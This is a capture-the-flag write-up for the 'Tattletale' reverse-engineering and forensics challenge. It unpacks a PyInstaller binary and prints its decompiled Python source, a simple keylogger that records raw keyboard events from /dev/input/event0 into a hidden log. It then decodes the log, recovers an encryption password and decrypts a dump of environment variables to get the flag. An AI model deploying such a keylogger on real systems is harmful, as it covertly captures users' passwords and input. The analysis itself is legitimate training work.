Tattletale

description
Author: aseng
Apparently I have just suspected that this serizawa binary is a malware .. I was just so convinced that a friend of mine who was super inactive suddenly goes online today and tell me that this binary will help me to boost my Linux performance.
Now that I realized something's wrong.
Note: This is a reverse engineering and forensic combined theme challenge. Don't worry, the malware is not destructive, not like the other challenge. Once you realized what does the malware do, you'll know how the other 2 files are correlated. Enjoy warming up with this easy one!
Attachments
unzip tattletale_tattletale-dist.zip
# Archive: tattletale_tattletale-dist.zip
# inflating: dist.zip
unzip dist.zip
# Archive: dist.zip
# creating: dist/
# inflating: dist/cron.aseng
# inflating: dist/serizawa
# extracting: dist/whatisthis.enc
cd distOverview
Brief Summary
- Tattletale is a hybrid reverse‑engineering + forensics challenge:
serizawais a PyInstaller‑packed Python keylogger that records keyboard events (raw/dev/input/event0) intocron.aseng. By extracting and decoding the input log, we can reconstruct the victim’s commands, discover the encryption password, decrypt thewhatisthis.encartifact, and finally retrieve the flag. ✅
Technical Flow (Short)
- Extraction: use
pyinstxtractorto unpack the PyInstaller bundle and decompileserizawa.pyc. - Analysis:
serizawareads thestruct 'QQHHi'structure from/dev/input/event0→ writes tocron.aseng(keylogger behavior). - Reconstruction: parse
cron.aseng(keycode → character) to reconstruct the input, including the encryption password. - Decryption & recovery: use
opensslto AES‑CBC decryptwhatisthis.enc, then convert theodoutput → original file → flag.
AI-assisted output

Steps to Solve
1. Identify the files
Let’s identify the files inside the dist folder to determine what types of files we are dealing with.
ls
# cron.aseng serizawa whatisthis.enc
file *
# cron.aseng: data
# serizawa: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f5e4eb9bd95f0a14f41d1ef1a6f8ee703c85a059, stripped
# whatisthis.enc: openssl enc'd data with salted password
xxd whatisthis.enc | head
# 00000000: 5361 6c74 6564 5f5f 586d 675a 2fbd 5e98 Salted__XmgZ/.^.
# 00000010: 9c61 3af4 be16 802f eacb 13b7 8922 77d1 .a:..../....."w.
# 00000020: 8c41 87bf fa15 32f3 2944 20fc a3e7 97f2 .A....2.)D .....
# 00000030: 8a93 cdb0 0a78 2bf3 8372 77e0 513b a492 .....x+..rw.Q;..
# 00000040: 5f6d d78e b7a8 c5be 51d2 033a 3fed f9a4 _m......Q..:?...
# 00000050: 3207 c3ae 950f 3aab 9799 f69d ee89 c73f 2.....:........?
# 00000060: 71fc 1ca5 50d7 c075 b9ea 6042 60ed 9548 q...P..u..`B`..H
# 00000070: 242e f688 9a44 a195 c8b0 9cae 309d dc9a $....D......0...
# 00000080: a6f0 7fc4 a07d 0f7a 9d64 11a6 d8b7 cbaf .....}.z.d......
# 00000090: de0e dcb1 1d8f ac5c 3d6c 145e 0b07 f228 .......\\=l.^...(2. Analyze serizawa
Next, we analyze the serizawa file to understand its functionality. We can use strings to inspect embedded strings inside the binary, or use a decompiler such as Ghidra to view the source code more clearly.
strings serizawa
strings serizawa | head -n 50
strings serizawa | tail -n 50From this, we learn that serizawa was written in Python and compiled using PyInstaller.
3. Extract the source code from serizawa
Since serizawa is a PyInstaller‑compiled binary, we can use tools such as pyinstxtractor to extract its source files.
First, install pyinstxtractor with the following command:
wget https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.pyAfter that, extract serizawa using:
python3 pyinstxtractor.py serizawaOnce the extraction process is complete, a folder named serizawa_extracted will be created containing the extracted files.
4. Analyze the extracted files
Inside the extracted folder, we will find files such as main.py or other files that represent the original application source code.
ls serizawa_extracted/
# base_library.zip libcrypto.so.3 libpython3.11.so.1.0 libzstd.so.1 pyimod01_archive.pyc pyimod03_ctypes.pyc python3.11 PYZ.pyz_extracted struct.pyc
# libbz2.so.1.0 liblzma.so.5 libz.so.1 pyiboot01_bootstrap.pyc pyimod02_importers.pyc pyi_rth_inspect.pyc PYZ.pyz serizawa.pyc5. Decompile the .pyc file into .py
Here, I attempted to use uncompyle6 to decompile serizawa.pyc into serizawa.py to make it easier to read and analyze.
pip install uncompyle6
uncompyle6 serizawa_extracted/serizawa.pycHowever, when I tried this, I encountered a version‑related error.
As an alternative, we can use the online tool available at https://www.pylingual.io/
The decompiled result of serizawa.pyc is as follows:
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'serizawa.py'
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import struct
import sys
import os
streya = '/dev/input/event0'
pvut = '/opt/cron.aseng'
strc = 'QQHHi'
evo = struct.calcsize(strc)
def prm():
if os.geteuid()!= 0:
sys.exit(1)
if not os.path.exists(streya):
sys.exit(1)
def kst():
# irreducible cflow, using cdg fallback
# ***<module>.kst: Failure: Compilation Error
ec = 0
with open(streya, 'rb') as diva:
with open(pvut, 'ab') as of:
while True:
evd = diva.read(evo)
if len(evd) < evo:
continue
else:
of.write(evd)
of.flush()
ec += 1
except KeyboardInterrupt:
sys.exit(1)
except PermissionError:
print('Can\'t run.')
sys.exit(1)
except Exception as e:
print('Much err.')
sys.exit(1)
def main():
prm()
kst()
if __name__ == '__main__':
main()From the decompilation results, we can see that serizawa is a keylogger that records keyboard input and saves it to the cron.aseng file.
So, here I asked AI to help me create a Python script that can read the cron.aseng file and display the input recorded by serizawa.
read_keylog.py
import struct
fmt = 'QQHHi'
size = struct.calcsize(fmt)
keymap = {
2:'1',3:'2',4:'3',5:'4',6:'5',7:'6',8:'7',9:'8',10:'9',11:'0',
12:'-',13:'=',
16:'q',17:'w',18:'e',19:'r',20:'t',21:'y',22:'u',23:'i',24:'o',25:'p',
30:'a',31:'s',32:'d',33:'f',34:'g',35:'h',36:'j',37:'k',38:'l',
44:'z',45:'x',46:'c',47:'v',48:'b',49:'n',50:'m',
26:'[',27:']',
39:';',
40:"'",
41:'`',
43:'\\',
51:',',
52:'.',
53:'/',
57:' '
}
shift_map = {
'1':'!','2':'@','3':'#','4':'$','5':'%','6':'^','7':'&','8':'*','9':'(','0':')',
'-':'_','=':'+',
'[':'{',']':'}',
';':':',"'":'"',
'`':'~','\\':'|',
',':'<','.':'>','/':'?'
}
shift_pressed = False
capslock_on = False
result = ""
with open('cron.aseng', 'rb') as f:
while True:
data = f.read(size)
if len(data) < size:
break
sec, usec, type_, code, value = struct.unpack(fmt, data)
if type_ != 1:
continue
# SHIFT
if code in (42, 54):
if value == 1:
shift_pressed = True
elif value == 0:
shift_pressed = False
continue
# CAPSLOCK
if code == 58 and value == 1:
capslock_on = not capslock_on
continue
# BACKSPACE
if code == 14 and value == 1:
result = result[:-1]
continue
# ENTER
if code == 28 and value == 1:
result += "\n"
continue
if value in (1, 2) and code in keymap:
char = keymap[code]
if shift_pressed:
if char in shift_map:
char = shift_map[char]
else:
char = char.upper()
else:
if capslock_on and char.isalpha():
char = char.upper()
result += char
print(result)python3 read_keylog.py
output:
ls
whoami
echo "Yey you finally decrypt me :)"
echo "Just a little more steps ok?"
env > whatisthis
od whatisthis > whatisthis.baboi
openssl enc -aes-256-cbc -salt -pass pass:4_g00d_fr13nD_in_n33D -in whatisthis.baboi -out whatisthis.enc
echo "Ok go for it! The flag is in env btw"
c
6. Decrypt file whatisthis.enc
Since we have already got the password used to encrypt the whatisthis.enc file, we can try to decrypt the file using openssl with the following command:
openssl enc -aes-256-cbc -d -salt -pass pass:4_g00d_fr13nD_in_n33D -in whatisthis.enc -out whatisthis.baboi
cat whatisthis.baboi
# 0000000 047503 047514 052122 051105 036515 071164 062565 067543
# 0000020 067554 005162 044504 050123 040514 036531 030072 030056
# 0000040 046012 047101 036507 067145 052537 027123 052125 026506
# 0000060 005070 040514 043516 040525 042507 005075 040520 044124
# 0000100 027475 067562 072157 027057 060543 063562 027557 064542
# 0000120 035156 072457 071163 066057 061557 066141 071457 064542
# 0000140 035156 072457 071163 066057 061557 066141 061057 067151
# 0000160 027472 071565 027562 061163 067151 027472 071565 027562and from the output of the whatisthis.baboi file we can see that its contents contain numbers which are the result of the od command executed on the whatisthis file.
Let's try using the xxd command to convert the whatisthis.baboi file containing the numbers into a plain text file.
xxd -r whatisthis.baboi > whatisthis
cat whatisthis
but when tried the results were still messy
uu!"euTQbE#`qeqE%7Pp5%%tuub!WpWCQV$Wc`WWQV$Wc`WWtreubcqQEBQVWEBQVeubuTCuT$Wc4WeAE!pEeU$bf%A$!e1SETpW0!e@57%%"!@uQe#bu rPdqTuTa0creQdsPc$c reW`sT`csPa!CsPaW uT`EUuP`%cueGc sPcCuT`dtreg!cuTg d$rPbpRdeb`5der`sPa`sPapRAPapRder`ATeA`sPa`sPapRQTPapRQTUu VQTuTacuTacPr VcPr VPguPVQuTacTacPr VerpRQGuTacuTacPr`VPapRQTeW`QpuTacPrTacPr VrPapRQBdb`QBuTacPrTacPr VQBPapRQduTaEuTacPrTacPrPVAPr4VAuTaAuTacPrTacPrVAPrVQTuTa%CuTacPrTacPrVE`PapRPguTaer`sPapRsPapREgeUpR5ceU`seU`sPapRsPapR1A1QPrPV5`uTa%`eG`sPeuTa$cPrdVTa$cPr4V1QPrVUuTaeBuTa$cPrTa$cPrVe`Pr VGuTaeBuTa$cPrTa$cPr V1QPr V1QeF`q`eG`sPe`sPepR1c$cPrdV5VuVACuTa$cuTa$cPrdV$cPrdV%`eGpRUef`sef`sPepRTa$cPr4VEPepR5WeU`Udd`sPe`sPepRU$cPr0VWuVed`sPe`sPepRegPepRAeF`ebuTa$cPr`sPepRaFPepR1AeQ`aFeQ`sPe`sPepRaGPr VeT`seF`sPepRsPepR%qefpR5CeU`seF`sPepRsPepR5WeppRAeC`suT`0cPr0VsPfpR!UeApREUeD`sEDuT`0cPrT`0cPrdV`PrdV`uT`5GuT`0cPrsPfpRgefpR5WeA`seuT`0cPrT`0cPr@VcPfpRuT`qDsP`pRBeSpRaWeD`Ds5QuT`qPr`DsP`pR%bP`pR5ce``ede``DsP` UQed`Ds5StU!TuT`1C UQed`eeF%Veg`eeFaWeD`bqU5EuT`e`W5QuT`e`c%fuT`uT` dPrubUaQWuWeeub!W$!W@eeWae$WcW!%uuecWqQWQe%#e"SETea`!%a`e17%!E7u"e$Pau a%7! !1F5A#%%$u1 !%u$a%$u1u$aa&u!'a!'tuW!7e7cQU%#!7e7eDT3Ta0c!7e7`u#%$e"Tu3TacQU7eEu#%$e"3sdb`u %eTu3ubEsudQtd%fEb7da%Vu0Saq5WEpEpA7EAqerttueubQfLet's try asking AI to help us decode the whatisthis.baboi file containing those numbers into a plain text file using the following python script:
recovery.py
import re
import struct
with open("whatisthis.baboi") as f:
text = f.read()
nums = re.findall(r'\b[0-7]{6}\b', text)
data = bytearray()
for n in nums:
value = int(n, 8)
data.extend(struct.pack("<H", value)) # 16-bit little endian
with open("whatisthis", "wb") as f:
f.write(data)The above script will search for all 6-digit octal numbers in the whatisthis.baboi file, then convert each number to its 16-bit little endian value and save it in the whatisthis file.
python3 recovery.py

flag
C2C{it_is_just_4_very_s1mpl3_l1nuX_k3ylogger_xixixi_haiyaaaaa_ez}